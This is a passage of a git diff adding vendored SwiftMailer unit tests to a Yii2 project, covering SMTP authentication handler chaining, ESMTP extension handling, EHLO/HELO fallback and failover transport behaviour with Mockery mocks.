->with($this->_agent, 'jack', 'pass') + ->andReturn(true); + + $auth = $this->_createHandler(array($a1, $a2)); + $auth->setUsername('jack'); + $auth->setPassword('pass'); + + $auth->setKeywordParams(array('PLAIN', 'LOGIN')); + $auth->afterEhlo($this->_agent); + } + + public function testFirstAuthenticatorToPassBreaksChain() + { + $a1 = $this->_createMockAuthenticator('PLAIN'); + $a2 = $this->_createMockAuthenticator('LOGIN'); + $a3 = $this->_createMockAuthenticator('CRAM-MD5'); + + $a1->shouldReceive('authenticate') + ->once() + ->with($this->_agent, 'jack', 'pass') + ->andReturn(false); + $a2->shouldReceive('authenticate') + ->once() + ->with($this->_agent, 'jack', 'pass') + ->andReturn(true); + $a3->shouldReceive('authenticate') + ->never() + ->with($this->_agent, 'jack', 'pass'); + + $auth = $this->_createHandler(array($a1, $a2)); + $auth->setUsername('jack'); + $auth->setPassword('pass'); + + $auth->setKeywordParams(array('PLAIN', 'LOGIN', 'CRAM-MD5')); + $auth->afterEhlo($this->_agent); + } + + // -- Private helpers + + private function _createHandler($authenticators) + { + return new Swift_Transport_Esmtp_AuthHandler($authenticators); + } + + private function _createMockAuthenticator($type) + { + $authenticator = $this->getMockery('Swift_Transport_Esmtp_Authenticator')->shouldIgnoreMissing(); + $authenticator->shouldReceive('getAuthKeyword') + ->zeroOrMoreTimes() + ->andReturn($type); + + return $authenticator; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/EsmtpTransport/ExtensionSupportTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/EsmtpTransport/ExtensionSupportTest.php new file mode 100644 index 00000000..73362018 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/EsmtpTransport/ExtensionSupportTest.php @@ -0,0 +1,530 @@ +_getBuffer(); + $smtp = $this->_getTransport($buf); + $ext1 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext2 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + + $ext1->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('AUTH'); + $ext1->shouldReceive('getPriorityOver') + ->zeroOrMoreTimes() + ->with('STARTTLS') + ->andReturn(0); + $ext2->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('STARTTLS'); + $ext2->shouldReceive('getPriorityOver') + ->zeroOrMoreTimes() + ->with('AUTH') + ->andReturn(-1); + $this->_finishBuffer($buf); + + $smtp->setExtensionHandlers(array($ext1, $ext2)); + $this->assertEquals(array($ext2, $ext1), $smtp->getExtensionHandlers()); + } + + public function testHandlersAreNotifiedOfParams() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $ext1 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext2 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 server.com foo\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^EHLO .*?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-ServerName.tld\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-AUTH PLAIN LOGIN\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 SIZE=123456\r\n"); + + $ext1->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('AUTH'); + $ext1->shouldReceive('setKeywordParams') + ->once() + ->with(array('PLAIN', 'LOGIN')); + $ext2->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('SIZE'); + $ext2->shouldReceive('setKeywordParams') + ->zeroOrMoreTimes() + ->with(array('123456')); + $this->_finishBuffer($buf); + + $smtp->setExtensionHandlers(array($ext1, $ext2)); + $smtp->start(); + } + + public function testSupportedExtensionHandlersAreRunAfterEhlo() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $ext1 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext2 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext3 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 server.com foo\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^EHLO .*?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-ServerName.tld\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-AUTH PLAIN LOGIN\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 SIZE=123456\r\n"); + + $ext1->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('AUTH'); + $ext1->shouldReceive('afterEhlo') + ->once() + ->with($smtp); + $ext2->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('SIZE'); + $ext2->shouldReceive('afterEhlo') + ->zeroOrMoreTimes() + ->with($smtp); + $ext3->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('STARTTLS'); + $ext3->shouldReceive('afterEhlo') + ->never() + ->with($smtp); + $this->_finishBuffer($buf); + + $smtp->setExtensionHandlers(array($ext1, $ext2, $ext3)); + $smtp->start(); + } + + public function testExtensionsCanModifyMailFromParams() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(); + $smtp = new EsmtpTransportFixture($buf, array(), $dispatcher); + $ext1 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext2 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext3 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('me@domain' => 'Me')); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => null)); + + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 server.com foo\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^EHLO .*?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-ServerName.tld\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-AUTH PLAIN LOGIN\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 SIZE=123456\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: FOO ZIP\r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn("250 OK\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(3); + $buf->shouldReceive('readLine') + ->once() + ->with(3) + ->andReturn("250 OK\r\n"); + $this->_finishBuffer($buf); + + $ext1->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('AUTH'); + $ext1->shouldReceive('getMailParams') + ->once() + ->andReturn('FOO'); + $ext1->shouldReceive('getPriorityOver') + ->zeroOrMoreTimes() + ->with('AUTH') + ->andReturn(-1); + $ext2->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('SIZE'); + $ext2->shouldReceive('getMailParams') + ->once() + ->andReturn('ZIP'); + $ext2->shouldReceive('getPriorityOver') + ->zeroOrMoreTimes() + ->with('AUTH') + ->andReturn(1); + $ext3->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('STARTTLS'); + $ext3->shouldReceive('getMailParams') + ->never(); + + $smtp->setExtensionHandlers(array($ext1, $ext2, $ext3)); + $smtp->start(); + $smtp->send($message); + } + + public function testExtensionsCanModifyRcptParams() + { + $buf = $this->_getBuffer(); + $dispatcher = $this->_createEventDispatcher(); + $smtp = new EsmtpTransportFixture($buf, array(), $dispatcher); + $ext1 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext2 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext3 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('me@domain' => 'Me')); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => null)); + + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 server.com foo\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^EHLO .+?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-ServerName.tld\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-AUTH PLAIN LOGIN\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 SIZE=123456\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn("250 OK\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: FOO ZIP\r\n") + ->andReturn(3); + $buf->shouldReceive('readLine') + ->once() + ->with(3) + ->andReturn("250 OK\r\n"); + $this->_finishBuffer($buf); + + $ext1->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('AUTH'); + $ext1->shouldReceive('getRcptParams') + ->once() + ->andReturn('FOO'); + $ext1->shouldReceive('getPriorityOver') + ->zeroOrMoreTimes() + ->with('AUTH') + ->andReturn(-1); + $ext2->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('SIZE'); + $ext2->shouldReceive('getRcptParams') + ->once() + ->andReturn('ZIP'); + $ext2->shouldReceive('getPriorityOver') + ->zeroOrMoreTimes() + ->with('AUTH') + ->andReturn(1); + $ext3->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('STARTTLS'); + $ext3->shouldReceive('getRcptParams') + ->never(); + + $smtp->setExtensionHandlers(array($ext1, $ext2, $ext3)); + $smtp->start(); + $smtp->send($message); + } + + public function testExtensionsAreNotifiedOnCommand() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $ext1 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext2 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext3 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 server.com foo\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^EHLO .+?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-ServerName.tld\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-AUTH PLAIN LOGIN\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 SIZE=123456\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("FOO\r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn("250 Cool\r\n"); + $this->_finishBuffer($buf); + + $ext1->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('AUTH'); + $ext1->shouldReceive('onCommand') + ->once() + ->with($smtp, "FOO\r\n", array(250, 251), \Mockery::any(), \Mockery::any()); + $ext2->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('SIZE'); + $ext2->shouldReceive('onCommand') + ->once() + ->with($smtp, "FOO\r\n", array(250, 251), \Mockery::any(), \Mockery::any()); + $ext3->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('STARTTLS'); + $ext3->shouldReceive('onCommand') + ->never() + ->with(\Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any()); + + $smtp->setExtensionHandlers(array($ext1, $ext2, $ext3)); + $smtp->start(); + $smtp->executeCommand("FOO\r\n", array(250, 251)); + } + + public function testChainOfCommandAlgorithmWhenNotifyingExtensions() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $ext1 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext2 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + $ext3 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 server.com foo\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^EHLO .+?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-ServerName.tld\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250-AUTH PLAIN LOGIN\r\n"); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 SIZE=123456\r\n"); + $buf->shouldReceive('write') + ->never() + ->with("FOO\r\n"); + $this->_finishBuffer($buf); + + $ext1->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('AUTH'); + $ext1->shouldReceive('onCommand') + ->once() + ->with($smtp, "FOO\r\n", array(250, 251), \Mockery::any(), \Mockery::any()) + ->andReturnUsing(function ($a, $b, $c, $d, &$e) { + $e = true; + + return "250 ok"; + }); + $ext2->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('SIZE'); + $ext2->shouldReceive('onCommand') + ->never() + ->with(\Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any()); + + $ext3->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('STARTTLS'); + $ext3->shouldReceive('onCommand') + ->never() + ->with(\Mockery::any(), \Mockery::any(), \Mockery::any(), \Mockery::any()); + + $smtp->setExtensionHandlers(array($ext1, $ext2, $ext3)); + $smtp->start(); + $smtp->executeCommand("FOO\r\n", array(250, 251)); + } + + public function testExtensionsCanExposeMixinMethods() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $ext1 = $this->getMockery('Swift_Transport_EsmtpHandlerMixin')->shouldIgnoreMissing(); + $ext2 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + + $ext1->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('AUTH'); + $ext1->shouldReceive('exposeMixinMethods') + ->zeroOrMoreTimes() + ->andReturn(array('setUsername', 'setPassword')); + $ext1->shouldReceive('setUsername') + ->once() + ->with('mick'); + $ext1->shouldReceive('setPassword') + ->once() + ->with('pass'); + $ext2->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('STARTTLS'); + $this->_finishBuffer($buf); + + $smtp->setExtensionHandlers(array($ext1, $ext2)); + $smtp->setUsername('mick'); + $smtp->setPassword('pass'); + } + + public function testMixinMethodsBeginningWithSetAndNullReturnAreFluid() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $ext1 = $this->getMockery('Swift_Transport_EsmtpHandlerMixin')->shouldIgnoreMissing(); + $ext2 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + + $ext1->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('AUTH'); + $ext1->shouldReceive('exposeMixinMethods') + ->zeroOrMoreTimes() + ->andReturn(array('setUsername', 'setPassword')); + $ext1->shouldReceive('setUsername') + ->once() + ->with('mick') + ->andReturn(null); + $ext1->shouldReceive('setPassword') + ->once() + ->with('pass') + ->andReturn(null); + $ext2->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('STARTTLS'); + $this->_finishBuffer($buf); + + $smtp->setExtensionHandlers(array($ext1, $ext2)); + $ret = $smtp->setUsername('mick'); + $this->assertEquals($smtp, $ret); + $ret = $smtp->setPassword('pass'); + $this->assertEquals($smtp, $ret); + } + + public function testMixinSetterWhichReturnValuesAreNotFluid() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $ext1 = $this->getMockery('Swift_Transport_EsmtpHandlerMixin')->shouldIgnoreMissing(); + $ext2 = $this->getMockery('Swift_Transport_EsmtpHandler')->shouldIgnoreMissing(); + + $ext1->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('AUTH'); + $ext1->shouldReceive('exposeMixinMethods') + ->zeroOrMoreTimes() + ->andReturn(array('setUsername', 'setPassword')); + $ext1->shouldReceive('setUsername') + ->once() + ->with('mick') + ->andReturn('x'); + $ext1->shouldReceive('setPassword') + ->once() + ->with('pass') + ->andReturn('x'); + $ext2->shouldReceive('getHandledKeyword') + ->zeroOrMoreTimes() + ->andReturn('STARTTLS'); + $this->_finishBuffer($buf); + + $smtp->setExtensionHandlers(array($ext1, $ext2)); + $this->assertEquals('x', $smtp->setUsername('mick')); + $this->assertEquals('x', $smtp->setPassword('pass')); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/EsmtpTransportTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/EsmtpTransportTest.php new file mode 100644 index 00000000..95a9ce2f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/EsmtpTransportTest.php @@ -0,0 +1,298 @@ +_createEventDispatcher(); + } + + return new Swift_Transport_EsmtpTransport($buf, array(), $dispatcher); + } + + public function testHostCanBeSetAndFetched() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $smtp->setHost('foo'); + $this->assertEquals('foo', $smtp->getHost(), '%s: Host should be returned'); + } + + public function testPortCanBeSetAndFetched() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $smtp->setPort(25); + $this->assertEquals(25, $smtp->getPort(), '%s: Port should be returned'); + } + + public function testTimeoutCanBeSetAndFetched() + { + $buf = $this->_getBuffer(); + $buf->shouldReceive('setParam') + ->once() + ->with('timeout', 10); + + $smtp = $this->_getTransport($buf); + $smtp->setTimeout(10); + $this->assertEquals(10, $smtp->getTimeout(), '%s: Timeout should be returned'); + } + + public function testEncryptionCanBeSetAndFetched() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $smtp->setEncryption('tls'); + $this->assertEquals('tls', $smtp->getEncryption(), '%s: Crypto should be returned'); + } + + public function testStartSendsHeloToInitiate() + { + //Overridden for EHLO instead + } + + public function testStartSendsEhloToInitiate() + { + /* -- RFC 2821, 3.2. + + 3.2 Client Initiation + + Once the server has sent the welcoming message and the client has + received it, the client normally sends the EHLO command to the + server, indicating the client's identity. In addition to opening the + session, use of EHLO indicates that the client is able to process + service extensions and requests that the server provide a list of the + extensions it supports. Older SMTP systems which are unable to + support service extensions and contemporary clients which do not + require service extensions in the mail session being initiated, MAY + use HELO instead of EHLO. Servers MUST NOT return the extended + EHLO-style response to a HELO command. For a particular connection + attempt, if the server returns a "command not recognized" response to + EHLO, the client SHOULD be able to fall back and send HELO. + + In the EHLO command the host sending the command identifies itself; + the command may be interpreted as saying "Hello, I am " (and, + in the case of EHLO, "and I support service extension requests"). + + -- RFC 2281, 4.1.1.1. + + ehlo = "EHLO" SP Domain CRLF + helo = "HELO" SP Domain CRLF + + -- RFC 2821, 4.3.2. + + EHLO or HELO + S: 250 + E: 504, 550 + + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 some.server.tld bleh\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^EHLO .+?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 ServerName'."\r\n"); + + $this->_finishBuffer($buf); + try { + $smtp->start(); + } catch (Exception $e) { + $this->fail('Starting Esmtp should send EHLO and accept 250 response'); + } + } + + public function testHeloIsUsedAsFallback() + { + /* -- RFC 2821, 4.1.4. + + If the EHLO command is not acceptable to the SMTP server, 501, 500, + or 502 failure replies MUST be returned as appropriate. The SMTP + server MUST stay in the same state after transmitting these replies + that it was in before the EHLO was received. + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 some.server.tld bleh\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^EHLO .+?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('501 WTF'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^HELO .+?\r\n$~D') + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('250 HELO'."\r\n"); + + $this->_finishBuffer($buf); + try { + $smtp->start(); + } catch (Exception $e) { + $this->fail( + 'Starting Esmtp should fallback to HELO if needed and accept 250 response' + ); + } + } + + public function testInvalidHeloResponseCausesException() + { + //Overridden to first try EHLO + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 some.server.tld bleh\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^EHLO .+?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('501 WTF'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^HELO .+?\r\n$~D') + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('504 WTF'."\r\n"); + $this->_finishBuffer($buf); + + try { + $this->assertFalse($smtp->isStarted(), '%s: SMTP should begin non-started'); + $smtp->start(); + $this->fail('Non 250 HELO response should raise Exception'); + } catch (Exception $e) { + $this->assertFalse($smtp->isStarted(), '%s: SMTP start() should have failed'); + } + } + + public function testDomainNameIsPlacedInEhlo() + { + /* -- RFC 2821, 4.1.4. + + The SMTP client MUST, if possible, ensure that the domain parameter + to the EHLO command is a valid principal host name (not a CNAME or MX + name) for its host. If this is not possible (e.g., when the client's + address is dynamically assigned and the client does not have an + obvious name), an address literal SHOULD be substituted for the + domain name and supplemental information provided that will assist in + identifying the client. + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 some.server.tld bleh\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("EHLO mydomain.com\r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('250 ServerName'."\r\n"); + + $this->_finishBuffer($buf); + $smtp->setLocalDomain('mydomain.com'); + $smtp->start(); + } + + public function testDomainNameIsPlacedInHelo() + { + //Overridden to include ESMTP + /* -- RFC 2821, 4.1.4. + + The SMTP client MUST, if possible, ensure that the domain parameter + to the EHLO command is a valid principal host name (not a CNAME or MX + name) for its host. If this is not possible (e.g., when the client's + address is dynamically assigned and the client does not have an + obvious name), an address literal SHOULD be substituted for the + domain name and supplemental information provided that will assist in + identifying the client. + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('readLine') + ->once() + ->with(0) + ->andReturn("220 some.server.tld bleh\r\n"); + $buf->shouldReceive('write') + ->once() + ->with('~^EHLO .+?\r\n$~D') + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn('501 WTF'."\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("HELO mydomain.com\r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn('250 ServerName'."\r\n"); + + $this->_finishBuffer($buf); + $smtp->setLocalDomain('mydomain.com'); + $smtp->start(); + } + + public function testFluidInterface() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $buf->shouldReceive('setParam') + ->once() + ->with('timeout', 30); + + $ref = $smtp + ->setHost('foo') + ->setPort(25) + ->setEncryption('tls') + ->setTimeout(30) + ; + $this->assertEquals($ref, $smtp); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/FailoverTransportTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/FailoverTransportTest.php new file mode 100644 index 00000000..8a90f4d1 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/FailoverTransportTest.php @@ -0,0 +1,525 @@ +getMockery('Swift_Mime_Message'); + $message2 = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState) { + return $connectionState; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState) { + if (!$connectionState) { + $connectionState = true; + } + }); + $t1->shouldReceive('send') + ->twice() + ->with(\Mockery::anyOf($message1, $message2), \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState) { + if ($connectionState) { + return 1; + } + }); + $t2->shouldReceive('start')->never(); + $t2->shouldReceive('send')->never(); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertEquals(1, $transport->send($message1)); + $this->assertEquals(1, $transport->send($message2)); + } + + public function testMessageCanBeTriedOnNextTransportIfExceptionThrown() + { + $e = new Swift_TransportException('b0rken'); + + $message = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e) { + if ($connectionState1) { + throw $e; + } + }); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $e) { + if ($connectionState2) { + return 1; + } + }); + + $transport = $this->_getTransport(array($t1, $t2)); + $transport->start(); + $this->assertEquals(1, $transport->send($message)); + } + + public function testZeroIsReturnedIfTransportReturnsZero() + { + $message = $this->getMockery('Swift_Mime_Message')->shouldIgnoreMissing(); + $t1 = $this->getMockery('Swift_Transport')->shouldIgnoreMissing(); + + $connectionState = false; + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState) { + return $connectionState; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState) { + if (!$connectionState) { + $connectionState = true; + } + }); + $testCase = $this; + $t1->shouldReceive('send') + ->once() + ->with($message, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState, $testCase) { + if (!$connectionState) { + $testCase->fail(); + } + + return 0; + }); + + $transport = $this->_getTransport(array($t1)); + $transport->start(); + $this->assertEquals(0, $transport->send($message)); + } + + public function testTransportsWhichThrowExceptionsAreNotRetried() + { + $e = new Swift_TransportException('maur b0rken'); + + $message1 = $this->getMockery('Swift_Mime_Message'); + $message2 = $this->getMockery('Swift_Mime_Message'); + $message3 = $this->getMockery('Swift_Mime_Message'); + $message4 = $this->getMockery('Swift_Mime_Message'); + $t1 = $this->getMockery('Swift_Transport'); + $t2 = $this->getMockery('Swift_Transport'); + $connectionState1 = false; + $connectionState2 = false; + + $t1->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState1) { + return $connectionState1; + }); + $t1->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState1) { + if (!$connectionState1) { + $connectionState1 = true; + } + }); + $t1->shouldReceive('send') + ->once() + ->with($message1, \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState1, $e) { + if ($connectionState1) { + throw $e; + } + }); + $t1->shouldReceive('send') + ->never() + ->with($message2, \Mockery::any()); + $t1->shouldReceive('send') + ->never() + ->with($message3, \Mockery::any()); + $t1->shouldReceive('send') + ->never() + ->with($message4, \Mockery::any()); + + $t2->shouldReceive('isStarted') + ->zeroOrMoreTimes() + ->andReturnUsing(function () use (&$connectionState2) { + return $connectionState2; + }); + $t2->shouldReceive('start') + ->once() + ->andReturnUsing(function () use (&$connectionState2) { + if (!$connectionState2) { + $connectionState2 = true; + } + }); + $t2->shouldReceive('send') + ->times(4) + ->with(\Mockery::anyOf($message1, $message2, $message3, $message4), \Mockery::any()) + ->andReturnUsing(function () use (&$connectionState2, $e) { + if ($connectionState2) { + return 1; + } + }); + + $transport = $this->_getTransport(array($t1, 